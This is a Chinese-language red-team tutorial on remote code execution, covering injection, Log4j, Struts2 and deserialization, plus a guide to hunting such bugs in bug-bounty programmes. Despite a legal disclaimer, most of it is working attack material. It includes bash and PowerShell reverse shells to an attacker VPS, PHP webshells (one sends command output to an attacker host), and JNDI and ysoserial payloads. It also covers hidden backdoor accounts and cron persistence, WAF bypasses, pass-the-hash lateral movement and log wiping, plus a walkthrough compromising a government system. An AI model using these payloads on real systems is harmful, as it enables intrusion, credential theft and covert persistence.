RCE 漏洞全解析:从原理到实战
RCE 漏洞全解析:从原理到红队实战(含护网落地技巧与工具链)
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”)及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
- 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
作为护网红队,RCE(Remote Code Execution,远程代码执行)漏洞是渗透测试中危害等级最高的漏洞类型 —— 它能让攻击者直接在目标主机上执行任意代码或系统命令,从 “远程访问” 一跃升级为 “完全控制”。在护网行动中,RCE 更是 “拿下核心资产、快速拿分” 的关键突破口。本文将从 RCE 的本质原理出发,拆解其触发逻辑、利用链路、核心工具,结合实战与护网案例,阐述红队如何高效利用 RCE 实现深度渗透。
一、RCE 漏洞核心原理:从 “输入可控” 到 “代码执行”
1. 什么是 RCE 漏洞?
RCE 漏洞是指攻击者通过网络向目标应用程序输入可控数据,触发应用程序将该数据作为代码或系统命令执行,从而实现远程控制目标主机的漏洞。其核心危害在于 “突破网络边界,直接获取主机控制权”,是红队渗透中 “最具杀伤力” 的漏洞类型之一。
需注意 RCE 与 “命令执行(Command Execution)” 的细微区别(实战中常混用,但原理有差异):
- 代码执行(Code Execution):执行目标环境的编程语言代码(如 PHP 的
eval
执行 PHP 代码、Java 的Class.forName
加载恶意类); - 命令执行(Command Execution):调用目标操作系统的命令行工具(如 Windows 的
cmd.exe
、Linux 的bash
,执行whoami
、ipconfig
等命令); - 本质共性:两者均实现 “远程控制”,统称 RCE,区别仅在于 “执行的是代码还是系统命令”。
2. RCE 漏洞的触发本质:输入未过滤的 “信任滥用”
RCE 的根本原因是应用程序将 “用户可控输入” 直接传递给 “代码 / 命令执行函数”,未进行严格过滤、转义或沙箱限制。其触发链路可简化为:
用户可控输入 → 应用程序接收输入 → 未过滤/转义 → 传入执行函数(如eval、system、反序列化器) → 代码/命令执行
常见 RCE 触发场景与原理
触发场景 | 核心原理 | 典型案例 |
---|---|---|
代码注入 | 应用将用户输入作为代码片段嵌入执行逻辑(如动态代码生成) | PHP:``(输入?cmd=system('whoami'); 执行命令);Python:exec(input("user_input")) (输入__import__('os').system('id') ) |
命令注入 | 应用调用系统命令时,将用户输入直接拼接进命令行 | 示例:system("ping " + $_GET['ip']) (输入?ip=127.0.0.1; whoami ,拼接后为ping 127.0.0.1; whoami ,执行 whoami);工具:nmap 、ping 、curl 等命令调用场景 |
反序列化漏洞 | 应用对不可信数据进行反序列化时,触发恶意对象的readObject 等方法执行代码 | Java:Apache Commons Collections 反序列化(触发Transformer 链执行命令);Python:pickle.loads() 加载恶意序列化数据;PHP:unserialize() 处理恶意 payload |
第三方组件漏洞 | 依赖的开源组件存在 RCE 漏洞,攻击者利用组件接口触发代码执行 | Log4j 2(CVE-2021-44228):通过 JNDI 注入加载远程恶意类;Struts2(S2-045):OGNL 表达式注入执行命令;Spring Cloud Function(CVE-2022-22963):SPEL 表达式注入 |
文件上传 + 解析漏洞 | 上传恶意脚本文件(如webshell.php ),通过应用解析漏洞执行 | 示例:上传test.php;.jpg 绕过文件后缀检测,应用解析为 PHP 文件执行;场景:Apache Tomcat PUT 漏洞(CVE-2017-12615)、Nginx 解析漏洞 |
二、RCE 漏洞的利用链路:从 “漏洞验证” 到 “完全控制”
红队利用 RCE 漏洞的核心目标是 “获取主机控制权→横向移动→控制核心资产”,需遵循标准化流程,避免操作混乱导致暴露。
1. 第一步:漏洞验证(确认 RCE 存在且可利用)
核心目标:用最小代价(无破坏性命令)确认 RCE 是否存在,避免触发蓝队告警。
常用验证命令(跨平台通用):
- Windows/Linux 通用:
whoami
(查看当前用户权限)、id
(Linux)、hostname
(查看主机名); - 验证回显:若应用返回
nt authority\system
(Windows)或root
(Linux),说明当前权限极高;若返回www-data
、iusr
,需后续提权; - 无回显场景:用 “外带数据” 验证(如
ping -c 3 攻击者VPS IP
,在 VPS 上用tcpdump
抓包确认是否收到 ICMP 请求)。
示例(命令注入验证):
目标 URL:http://target.com/ping?ip=127.0.0.1
注入 payload:?ip=127.0.0.1; whoami
若响应中包含nt authority\iusr
,证明存在 RCE(命令注入)。
2. 第二步:获取交互式 Shell(稳定控制)
验证 RCE 存在后,需获取 “交互式 Shell”(如cmd
、bash
、meterpreter
),方便后续操作(提权、横向移动)。常用方法:
(1)反弹 Shell(无回显场景首选)
通过 RCE 执行 “反弹 Shell 命令”,让目标主机主动连接攻击者 VPS,建立稳定会话。
-
Linux 反弹 Shell(bash):
# 攻击者VPS先监听端口:nc -lvp 4444 # RCE注入命令(拼接进目标输入点): bash -i >& /dev/tcp/攻击者VPS IP/4444 0>&1
-
Windows 反弹 Shell(powershell):
# 攻击者VPS监听:nc -lvp 4444 # RCE注入命令: powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('攻击者VPS IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
(2)植入 WebShell(有 Web 服务场景)
通过 RCE 写入 “一句话木马” 到 Web 目录,用蚁剑、菜刀等工具连接。
-
PHP WebShell(适用于 PHP 环境):
RCE 注入命令(Linux):
echo '<?php @eval($_POST["pass"]);?>' > /var/www/html/shell.php
连接:用蚁剑输入
http://target.com/shell.php
,密码pass
。 -
ASPX WebShell(适用于 IIS 环境):
RCE 注入命令(Windows):
echo ^<%@ Page Language="C#" AutoEventWireup="true" %^>^<%System.Diagnostics.Process.Start("cmd.exe","/c whoami");%^> > C:\inetpub\wwwroot\shell.aspx
3. 第三步:权限提升(从低权限到系统控制)
获取的初始 Shell 常为低权限(如www-data
、iusr
),需通过 “操作系统提权” 升级为root
(Linux)或system
(Windows),才能访问敏感资源(如域控哈希、数据库配置)。
- 常用提权方法:
- 内核漏洞提权(如 Linux Dirty COW、Windows MS16-032);
- 配置缺陷提权(如 SUID 文件、可写服务、sudo 无密码);
- 凭证复用提权(如 Mimikatz 抓取哈希、SSH 密钥复用)。
- 示例(Windows MS16-032 提权):
- 通过 RCE 上传
MS16-032-x64.exe
到目标C:\tmp
; - 执行提权命令:
C:\tmp\MS16-032-x64.exe "cmd.exe"
; - 新弹出的 cmd 窗口权限为
system
。
- 通过 RCE 上传
4. 第四步:横向移动(扩大控制范围)
获取单台主机控制权后,需利用 RCE 获取的凭证(如哈希、账号密码),横向渗透内网其他主机:
-
Windows 横向工具:
psexec
、wmiexec
、cobalt strike
的psexec
模块;示例(哈希传递横向):
# 用Mimikatz抓取的NTLM哈希,横向到192.168.1.20 wmiexec.exe test.com/admin@192.168.1.20 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 "cmd.exe"
-
Linux 横向工具:
ssh
、ansible
、pssh
;示例(SSH 密钥横向):
# 将攻击者公钥写入目标~/.ssh/authorized_keys ssh-copy-id root@172.16.10.5 # 无密码登录 ssh root@172.16.10.5
5. 第五步:持久化控制(避免权限丢失)
为防止目标主机重启或蓝队清理后丢失权限,需建立持久化后门:
- Windows 持久化:
- 添加隐藏账号:
net user backdoor$ P@ss123 /add && net localgroup administrators backdoor$ /add
; - 创建计划任务:
schtasks /create /tn "Update" /tr "C:\tmp\beacon.exe" /sc daily /st 02:00
;
- 添加隐藏账号:
- Linux 持久化:
- 写入 SSH 公钥:
echo "ssh-rsa AAAAB3Nza..." >> /root/.ssh/authorized_keys
; - 添加定时任务:
echo "* * * * * root /tmp/ssh_backdoor.sh" >> /etc/crontab
。
- 写入 SSH 公钥:
三、RCE 漏洞利用核心工具与使用方法
红队利用 RCE 的工具需满足 “验证快、免杀好、功能全” 的要求,以下为实战中高频使用的工具分类与操作指南:
1. 漏洞验证与 Exploit 工具(快速触发 RCE)
(1)Metasploit Framework(MSF,通用漏洞利用)
核心用途:集成海量 RCE 漏洞的 Exploit 模块(如 Log4j、Struts2、Tomcat),支持一键获取 meterpreter 会话。
使用流程(以 Log4j RCE 为例):
-
启动 MSF:
msfconsole
; -
加载 Log4j Exploit 模块:
use exploit/multi/http/log4j_rce
-
配置参数:
set RHOSTS 192.168.1.30 # 目标IP set RPORT 8080 # 目标端口 set LHOST 攻击者VPS IP # 反弹Shell的IP set LPORT 4444 # 反弹Shell的端口
-
执行 Exploit:
run
; -
成功获取 meterpreter 会话,执行
whoami
验证权限。
(2)JNDIExploit(Log4j RCE 专项工具)
核心用途:针对 Log4j 的 JNDI 注入漏洞,生成恶意 RMI/LDAP 服务,触发 RCE 并反弹 Shell。
使用流程:
-
攻击者 VPS 启动 JNDIExploit:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击者VPS IP
-
构造 Log4j payload(替换
攻击者VPS IP
):${jndi:rmi://攻击者VPS IP:1099/Exploit?cmd=bash -i >& /dev/tcp/攻击者VPS IP/4444 0>&1}
-
将 payload 注入目标输入点(如登录框、HTTP 头);
-
攻击者 VPS 监听端口:
nc -lvp 4444
,接收反弹 Shell。
(3)Burp Suite(手动验证 RCE)
核心用途:拦截 HTTP 请求,手动注入 RCE payload,验证漏洞存在性。
使用流程(命令注入验证):
- 拦截目标请求(如
/ping?ip=127.0.0.1
); - 修改
ip
参数为127.0.0.1; whoami
,发送请求; - 查看响应,若包含
nt authority\iusr
,证明 RCE 存在; - 进阶:用 Burp 的 “Intruder” 模块批量测试不同 payload,寻找可用命令。
2. Shell 管理工具(稳定控制目标)
(1)Cobalt Strike(红队主力,护网必备)
核心用途:生成免杀 RCE payload(如 exe、powershell 脚本),支持反弹 beacon 会话,集成横向移动、持久化功能。
使用流程(生成 RCE payload):
-
启动 Cobalt Strike,新建监听器(Listener):
- 类型选择
HTTP
或HTTPS
(伪装 Web 流量,规避 WAF); - 配置
Host
(攻击者 VPS IP)和Port
(如 443)。
- 类型选择
-
生成 payload:
- 路径:
Attacks → Packages → Windows Executable
; - 选择监听器,生成
beacon.exe
。
- 路径:
-
通过 RCE 将
beacon.exe
上传到目标主机并执行:C:\tmp\beacon.exe
-
Cobalt Strike 接收 beacon 会话,可执行 “提权”“横向移动”“持久化” 等操作。
(2)Meterpreter(MSF 内置 Shell)
核心用途:功能强大的交互式 Shell,支持命令执行、文件传输、提权、摄像头控制等。
常用命令(实战高频):
- 查看权限:
whoami
; - 提权:
getsystem
(尝试自动提权); - 横向移动:
run post/windows/gather/enum_logged_on_users
(枚举登录用户); - 持久化:
run persistence -X -i 5 -p 4444 -r 攻击者VPS IP
(开机自启反弹 Shell); - 文件传输:
upload /tmp/exploit.exe C:\tmp
(上传文件到目标)。
3. 命令执行辅助工具(无回显 / 免杀场景)
(1)Netcat(nc,反弹 Shell 必备)
核心用途:监听端口、接收反弹 Shell,轻量且跨平台。
使用流程:
- 攻击者 VPS 监听端口:
nc -lvp 4444
; - 目标主机通过 RCE 执行反弹 Shell 命令(如 bash/powershell);
- 成功建立连接,获取交互式 Shell。
(2)Powershell Empire(无文件 RCE)
核心用途:通过 powershell 脚本实现无文件 RCE,免杀性强,适合护网场景。
使用流程:
-
启动 Empire:
./empire
; -
新建监听器:
listeners uselistener http set Name http_listener set Host 攻击者VPS IP set Port 80 execute
-
生成 powershell payload:
usestager windows/launcher_powerShell set Listener http_listener execute
-
将生成的 payload 通过 RCE 注入目标(如
powershell -nop -w hidden -e 生成的base64编码
); -
Empire 接收 agent 会话,执行
shell whoami
验证权限。
四、实战与护网中 RCE 漏洞的深度利用(红队视角)
在护网行动中,RCE 的核心价值是 “快速突破边界、拿下核心资产”,需兼顾 “效率、隐蔽性、合规性”,避免触发蓝队应急响应。
1. 护网实战案例:某政务系统 Log4j RCE 渗透全流程
环境背景
- 目标:某政务系统 Web 服务(
10.0.0.5:8080
),使用 Log4j 2.14.1(存在 CVE-2021-44228); - 网络拓扑:Web 服务位于 DMZ 区,可访问内网核心区(192.168.0.0/24);
- 护网目标:获取核心区数据库服务器(192.168.0.10)权限。
渗透步骤
- RCE 漏洞验证:
- 构造 Log4j payload:
${jndi:rmi://攻击者VPS IP:1099/Exploit?cmd=id}
; - 注入到 HTTP 的
User-Agent
头,发送请求; - 攻击者 VPS 查看 JNDIExploit 日志,发现目标执行
id
命令,返回uid=1000(tomcat)
,确认 RCE 存在。
- 构造 Log4j payload:
- 获取 DMZ 区 Web 服务 Shell:
- 攻击者 VPS 启动 nc 监听:
nc -lvp 4444
; - 构造反弹 Shell payload:
${jndi:rmi://攻击者VPS IP:1099/Exploit?cmd=bash -i >& /dev/tcp/攻击者VPS IP/4444 0>&1}
; - 注入 payload 后,成功获取 tomcat 权限的 bash 会话。
- 攻击者 VPS 启动 nc 监听:
- 提权到 root:
- 上传 Linux 提权工具
LinPEAS.sh
到目标/tmp
; - 执行
./LinPEAS.sh -q
,发现目标存在 SUID 文件/usr/bin/find
; - 利用 find 提权:
find . -exec /bin/sh -p \; -quit
,获取 root 权限。
- 上传 Linux 提权工具
- 横向移动到核心区数据库:
- 读取 Web 服务的数据库配置文件
/var/www/config/db.php
,获取账号dbadmin
、密码Db@Admin2024
; - 用
mysql
客户端连接核心区数据库:mysql -h 192.168.0.10 -u dbadmin -pDb@Admin2024
; - 执行
show databases;
,确认获取数据库控制权,完成护网目标。
- 读取 Web 服务的数据库配置文件
- 隐蔽性处理:
- 删除
/tmp
目录下的工具文件(LinPEAS.sh
、nc
); - 清理命令历史:
history -c && > ~/.bash_history
; - 停止反弹 Shell 进程:
pkill nc
。
- 删除
2. 护网中 RCE 利用的核心技巧(避坑指南)
(1)优先选择 “低告警” RCE payload
-
避免使用
rm -rf
、format
等破坏性命令,仅执行 “验证 + 控制” 类命令(如whoami
、ipconfig
); -
用 “无文件执行” 替代文件落地(如 powershell 脚本、内存马),避免被杀毒软件检测;
示例(无文件 powershell 反弹 Shell):
powershell -nop -c "IEX (New-Object System.Net.WebClient).DownloadString('http://攻击者VPS IP/ps1.txt')"
(
ps1.txt
中存放反弹 Shell 脚本,执行后不落地文件)。
(2)利用 RCE 获取 “高价值凭证”
护网中 RCE 的核心目标是 “拿分”,需优先获取以下凭证:
-
域控哈希(用
mimikatz
抓取); -
数据库账号密码(读取配置文件);
-
内网主机清单(执行
arp -a
、nmap -sP 192.168.0.0/24
);这些凭证可直接用于横向移动,拿下更多资产,提升得分。
(3)快速横向 + 及时撤退
- RCE 获取初始权限后,30 分钟内完成 “提权→横向→凭证收集”,避免停留过久被蓝队发现;
- 测试结束后,彻底清理痕迹(删除工具、日志、后门),避免被溯源。
3. RCE 漏洞的防御与红队绕过技巧
(1)蓝队常见防御措施
- 输入过滤:拦截
eval
、system
、bash
、cmd
等关键词; - 输出编码:将用户输入中的特殊字符(如
;
、|
、&
)转义; - 沙箱限制:限制代码执行函数的权限(如 PHP 的
disable_functions
禁用system
); - 漏洞补丁:及时更新存在 RCE 漏洞的组件(如 Log4j、Struts2)。
(2)红队绕过技巧
- 绕过输入过滤:
- 关键词变形:
bash
→/bin/bas
+h
(拼接执行)、system
→syste
+m
; - 编码绕过:
bash -i
→echo -n YmFzaCAtaQ== | base64 -d | bash
(base64 解码执行);
- 关键词变形:
- 突破沙箱限制:
- PHP:利用
putenv
+mail
函数绕过disable_functions
; - Java:利用
java.lang.Runtime
的反射机制执行命令;
- PHP:利用
- 对抗 WAF:
- 分块注入:将 payload 拆分为多段输入(如
${jndi:rmi://a.${host}/Exploit}
,host
为攻击者 VPS 域名); - 协议混淆:用
ldap://
替代rmi://
(部分 WAF 仅拦截 RMI)。
- 分块注入:将 payload 拆分为多段输入(如
五、RCE 漏洞的核心价值与红队思维
RCE 漏洞的本质是 “突破应用层边界,直接获取主机控制权”,其在红队渗透中的核心价值体现在:
- 效率最高:无需复杂的权限绕过,一次 RCE 即可从 “远程访问” 升级为 “系统控制”;
- 覆盖范围广:几乎所有编程语言(PHP、Java、Python)、所有组件(Web 服务、数据库、中间件)都可能存在 RCE;
- 横向基础:RCE 获取的初始权限是内网横向移动的 “敲门砖”,没有 RCE,多数内网渗透难以展开。
红队工程师利用 RCE 的核心思维是 “目标导向”:
- 不盲目追求 “炫技”,而是聚焦 “拿分点”(域控、核心数据库、敏感数据);
- 平衡 “攻击深度” 与 “隐蔽性”,避免因操作不当导致前功尽弃;
- 把 RCE 视为 “跳板”,而非终点 —— 通过 RCE 获取权限后,立即开展提权、横向、持久化,最大化攻击效果。
六、核心前提:明确 SRC 中 RCE 挖掘的 “高效原则”
在动手前先建立 3 个核心原则,避免走弯路:
- “已知漏洞优先”:SRC 中 80% 的 RCE 漏洞是 “已知漏洞未修复”(如 Log4j、Struts2、Tomcat 漏洞),而非 0day/1day,优先验证这类漏洞效率最高;
- “验证成本最低”:选择 “无需复杂环境、1-2 条命令即可验证” 的 RCE 场景(如命令注入、组件漏洞),避免耗时的反序列化、文件上传 + 解析等复杂场景;
- “合规与隐蔽”:严禁使用破坏性命令(如
rm -rf
、format
),仅执行 “验证性命令”(如whoami
、ping
、hostname
);不扫描全端口、不落地恶意文件,避免触发目标企业的安全告警。
七、第一步:精准筛选目标 —— 找 “最容易出 RCE” 的资产
SRC 中资产数量庞大(少则数百,多则数千),盲目测试会浪费大量时间。需按 “RCE 风险优先级” 筛选目标,聚焦以下 4 类高风险资产:
1. 优先测试 “使用高危组件” 的资产
大量 RCE 漏洞源于第三方组件(中间件、框架)未及时更新,这类漏洞有成熟 POC,验证成本极低。需重点关注以下组件及对应 RCE 漏洞:
组件类型 | 高风险组件示例 | 典型 RCE 漏洞 | 验证难度 | 实战价值(SRC 评分) |
---|---|---|---|---|
日志框架 | Log4j 2.x(2.0-2.14.1) | CVE-2021-44228(Log4j RCE) | ★☆☆☆☆ | 严重(10-15 分) |
Web 框架 | Struts2(2.0.0-2.5.32) | S2-045(CVE-2017-5638)、S2-061(CVE-2020-17530) | ★☆☆☆☆ | 高危(8-12 分) |
应用服务器 | Tomcat(7.0.0-7.0.109) | CVE-2020-1938(Ghostcat)、PUT 漏洞(CVE-2017-12615) | ★★☆☆☆ | 高危(7-10 分) |
持续集成工具 | Jenkins(2.0-2.218) | CVE-2018-1000861(未授权 RCE)、CVE-2024-23897(权限绕过 RCE) | ★☆☆☆☆ | 高危(8-12 分) |
微服务框架 | Spring Cloud Function(3.1.6-3.2.2) | CVE-2022-22963(SPEL 表达式注入 RCE) | ★☆☆☆☆ | 高危(8-10 分) |
筛选方法:
-
用 SRC 平台的 “资产标签” 筛选(如 “中间件 - Tomcat”“框架 - Struts2”);
-
对无标签资产,访问其首页 / 登录页,通过 HTTP 头(如
Server: Apache-Coyote/1.1
对应 Tomcat)、页面底部版权信息(如 “Powered by Struts2”)识别组件; -
用工具批量识别组件版本(如
Nuclei
的tech-detect
模板):nuclei -u http://target.com -t templates/tech-detect/ -silent # 快速识别目标使用的组件及版本
2. 重点测试 “暴露管理接口 / 功能” 的资产
管理后台、运维接口通常包含 “命令执行”“配置修改” 等高危功能,是 RCE 的重灾区。需优先测试以下功能:
- 命令执行类功能:如 “服务器监控”(执行
ping
、top
)、“备份 / 恢复”(执行tar
、mysqldump
)、“脚本执行”(运行自定义 Shell/PowerShell 脚本); - 文件上传类功能:如 “插件上传”(Jenkins、Jira)、“模板上传”(CMS 系统)、“头像 / 附件上传”(可能存在文件解析漏洞);
- 配置导入 / 导出功能:如 “系统配置导入”(接收 XML/JSON 文件,可能存在反序列化 RCE)、“数据备份导出”(可能拼接命令)。
筛选方法:
-
用 Google Hacking 语法在 SRC 资产中搜索管理后台:
site:src-target-domain inurl:admin | inurl:manage | inurl:jenkins | inurl:console
; -
访问常见管理路径(如
/admin
、/jenkins
、/tomcat-manager
、/console
),判断是否可访问。
3. 优先测试 “老旧系统 / 未打补丁” 的资产
操作系统、服务器版本越旧,存在 RCE 漏洞的概率越高(如 Windows Server 2008、CentOS 6)。需重点关注:
- Windows 系统:Server 2003/2008(存在 MS17-010、MS16-032 等 RCE 漏洞);
- Linux 系统:CentOS 6(内核 < 2.6.32,存在 Dirty COW 等内核 RCE);
- Web 服务器:Apache 2.2、Nginx 1.4(存在解析漏洞,可配合文件上传实现 RCE)。
识别方法:
-
通过
nmap
扫描操作系统版本(需 SRC 允许端口扫描):nmap -O -Pn -p 80,443 http://target.com # 猜测目标操作系统
-
通过 HTTP 头
X-Powered-By
(如X-Powered-By: PHP/5.2.17
,PHP 5.2 存在大量 RCE 漏洞)识别老旧组件。
4. 排除 “低风险资产”,避免浪费时间
以下资产 RCE 风险极低,可优先排除,聚焦高价值目标:
- 纯静态网站(仅 HTML/CSS/JS,无后端交互);
- 已明确标注 “测试环境”“演示环境” 的资产(SRC 通常不收录,或评分极低);
- 采用云函数、Serverless 架构的资产(无直接服务器控制权,RCE 概率低)。
八、第二步:按 “验证效率” 排序 RCE 漏洞类型
不同 RCE 漏洞的验证复杂度差异极大,需按 “10 分钟内可验证” 的标准排序,优先测试以下类型:
1. 优先级 1:命令注入(最快验证,1-2 分钟 / 目标)
命令注入是 SRC 中最易验证的 RCE 类型 —— 通常存在于 “调用系统命令” 的功能中(如ping
、traceroute
、curl
),只需拼接命令即可验证。
(1)典型场景与验证方法
功能场景 | 测试参数 | 验证 Payload(有回显) | 验证 Payload(无回显) |
---|---|---|---|
服务器监控(ping) | ?ip=127.0.0.1 | ?ip=127.0.0.1; whoami (Linux)?ip=127.0.0.1&&whoami (Windows) | ?ip=127.0.0.1; ping -c 3 攻击者VPS IP (Linux)?ip=127.0.0.1&&ping -n 3 攻击者VPS IP (Windows) |
数据备份(mysqldump) | ?db=test&path=/tmp | ?db=test; whoami&path=/tmp | ?db=test; curl http://攻击者VPS IP/flag&path=/tmp |
远程下载(curl/wget) | ?url=http://example.com | ?url=http://example.com; whoami | ?url=http://example.com; ping 攻击者VPS IP |
(2)快速验证技巧
- 用 Burp Suite 拦截请求,直接修改参数值,无需写代码:
- 拦截
/ping?ip=127.0.0.1
请求; - 将
ip
改为127.0.0.1; whoami
,发送请求; - 若响应中包含
root
/nt authority\system
,证明存在 RCE;若包含www-data
/iusr
,同样可提交(SRC 认可低权限 RCE)。
- 拦截
- 无回显时,用 “外带数据” 验证:
- 攻击者 VPS 启动
tcpdump
监听 ICMP 请求:tcpdump -i eth0 icmp
; - 注入
ping
命令,若 VPS 收到 ICMP 包,证明命令已执行。
- 攻击者 VPS 启动
2. 优先级 2:第三方组件 RCE(有成熟 POC,5-10 分钟 / 目标)
这类漏洞有现成的 POC 工具 / 脚本,无需手动构造 Payload,验证效率极高。重点关注以下组件:
(1)Log4j RCE(CVE-2021-44228)
-
适用场景:使用 Log4j 2.x(2.0-2.14.1)的 Java 应用(如 Spring Boot、Elasticsearch、Solr);
-
验证工具:
JNDIExploit
(生成恶意 RMI/LDAP 服务)、Log4j-Scanner
(批量检测); -
验证步骤:
-
攻击者 VPS 启动
JNDIExploit
:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击者VPS IP # 启动恶意RMI服务
-
构造 Log4j Payload,注入到 HTTP 头(如
User-Agent
、Referer
)或参数中:${jndi:rmi://攻击者VPS IP:1099/Exploit?cmd=whoami}
-
若
JNDIExploit
日志显示 “Command executed successfully”,或 VPS 收到反弹 Shell(需提前监听端口),证明存在 RCE; -
批量检测:用
Log4j-Scanner
批量扫描 SRC 资产:python3 log4j-scanner.py -u http://target-list.txt -p 80,443 # target-list.txt为SRC资产列表
-
(2)Struts2 RCE(如 S2-045、S2-061)
-
适用场景:使用 Struts2 2.0.0-2.5.32 的 Web 应用;
-
验证工具:
Struts2-Scan
、Nuclei
(struts2 漏洞模板); -
验证步骤:
-
用
Nuclei
快速检测:nuclei -u http://target.com -t templates/cves/2020/CVE-2020-17530.yaml -silent # 检测S2-061漏洞
-
若返回 “VULNERABLE”,用
Struts2-Scan
验证命令执行:python3 struts2-scan.py -u http://target.com -c "whoami" # 执行whoami命令,查看响应
-
3. 优先级 3:文件上传 + 解析漏洞(10-15 分钟 / 目标)
这类漏洞需 “上传恶意文件 + 触发解析” 两步,验证稍复杂,但在 SRC 中常见(如 CMS、论坛、管理后台)。
(1)典型场景与验证方法
上传场景 | 绕过技巧 | 恶意文件内容(验证用) | 解析触发方式 |
---|---|---|---|
头像 / 附件上传 | 后缀绕过(如shell.php;.jpg 、shell.jspx ) | PHP:``(一句话木马)JSP:<% Runtime.getRuntime().exec("whoami"); %> | 访问上传后的文件路径(如http://target.com/upload/shell.php;.jpg ),用蚁剑连接或查看响应 |
插件 / 模板上传 | 直接上传webshell.war (Tomcat) | WAR 包内置shell.jsp (含命令执行代码) | 部署插件后,访问http://target.com/webshell/shell.jsp |
代码托管平台(如 Gitea) | 上传README.md 嵌入恶意代码 | Markdown 嵌入eval($_POST['pass']); | 若平台渲染 Markdown 时解析 PHP,访问 README 页面即可触发 |
(2)快速验证技巧
-
用 “最小化 webshell” 验证(避免被 WAF 拦截):
PHP 最小 webshell:
<?=eval($_POST[1]);?>
(比<?php ... ?>更短,不易被检测);
-
无回显时,用 “外带数据” 的 webshell:
<?php file_get_contents("http://攻击者VPS IP/flag?cmd=".urlencode(shell_exec("whoami"))); ?>
上传后访问该文件,VPS 日志中会显示
whoami
的执行结果。
4. 优先级 4:反序列化 RCE(最后考虑,复杂度高)
反序列化 RCE 需构造特定 Payload(如 Java 的ysoserial
、PHP 的phpggc
),且依赖目标环境(如存在特定类库),验证成本高,仅在其他类型无收获时测试。
(1)典型场景与验证工具
语言 / 框架 | 反序列化漏洞示例 | 验证工具 | 核心步骤 |
---|---|---|---|
Java(Commons Collections) | CVE-2015-7501 | ysoserial | 1. 生成 Payload:java -jar ysoserial.jar CommonsCollections1 "bash -i >& /dev/tcp/攻击者VPS IP/4444 0>&1" > payload.ser ;2. 将payload.ser 作为参数上传 / 发送;3. VPS 监听端口,接收反弹 Shell |
PHP(Laravel) | CVE-2018-15133 | phpggc | 1. 生成 Payload:phpggc Laravel/RCE1 "whoami" -b ;2. 将 Payload 作为__serialize 参数发送;3. 查看响应中的whoami 结果 |
(2)SRC 中的简化验证
无需获取完整 Shell,只需证明 “可执行命令” 即可:
- 执行
echo "RCE_VULN" > /tmp/rce_test.txt
,若能通过其他接口(如文件下载)获取该文件,证明 RCE 存在; - 执行
ping -c 1 攻击者VPS IP
,通过 VPS 的tcpdump
确认命令执行。
九、第三步:工具链整合 ——10 分钟内完成 “识别→验证→证明”
高效挖掘 RCE 的核心是 “工具自动化 + 手动验证结合”,以下是 SRC 中高频使用的工具链,按 “批量识别→精准验证→证据留存” 分类:
1. 批量识别工具:快速筛选高风险目标
(1)Nuclei(自动化漏洞扫描)
-
核心用途:基于模板批量检测 RCE 漏洞(如 Log4j、Struts2、Tomcat),支持 SRC 资产列表导入;
-
实战命令:
1. 批量检测Log4j漏洞
nuclei -l src-targets.txt -t templates/cves/2021/CVE-2021-44228.yaml -silent -o log4j-vuln.txt
2. 批量识别组件版本(筛选老旧组件)
nuclei -l src-targets.txt -t templates/tech-detect/ -silent -o tech-info.txt
- **优势**:轻量、快速,支持多线程,适合 SRC 中大量资产的初步筛选。#### (2)Gobuster(路径扫描,找管理后台)- **核心用途**:爆破 Web 路径,寻找管理后台、上传接口等高危功能;- 实战命令:```bash
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,jsp,asp,aspx -q # 爆破常见路径及后缀
- 重点关注路径:
/admin
、/jenkins
、/upload
、/console
、/manager
。
2. 精准验证工具:1 条命令确认 RCE
(1)Burp Suite(手动验证命令注入 / 参数篡改)
-
核心用途:拦截请求,手动注入 Payload,实时查看响应;
-
高效技巧:
- 用 “Repeater” 模块快速修改参数(如
ip=127.0.0.1; whoami
);
- 用 “Repeater” 模块快速修改参数(如
-
用 “Intruder” 模块批量测试 Payload(如不同命令分隔符
;
、&&
、|
);- 安装插件 “Active Scan++”,自动检测命令注入漏洞。
(2)JNDIExploit/Log4j-Scanner(Log4j 专项验证)
-
核心用途:快速验证 Log4j RCE,无需手动构造 JNDI Payload;
-
实战命令:
JNDIExploit启动恶意服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.100 -p 8888
Log4j-Scanner批量验证
python3 log4j-scanner.py -l src-targets.txt -c “ping 192.168.1.100” -v
#### (3)phpggc/ysoserial(反序列化专项验证)- **核心用途**:生成反序列化 Payload,验证 Java/PHP 反序列化 RCE;- 实战命令:```bash
# PHP反序列化(Laravel RCE)
phpggc Laravel/RCE1 "whoami" -b | base64 # 生成base64编码的Payload,便于传输# Java反序列化(Commons Collections)
java -jar ysoserial.jar CommonsCollections1 "curl http://192.168.1.100/flag" > payload.ser
3. 证据留存工具:快速生成 SRC 提交材料
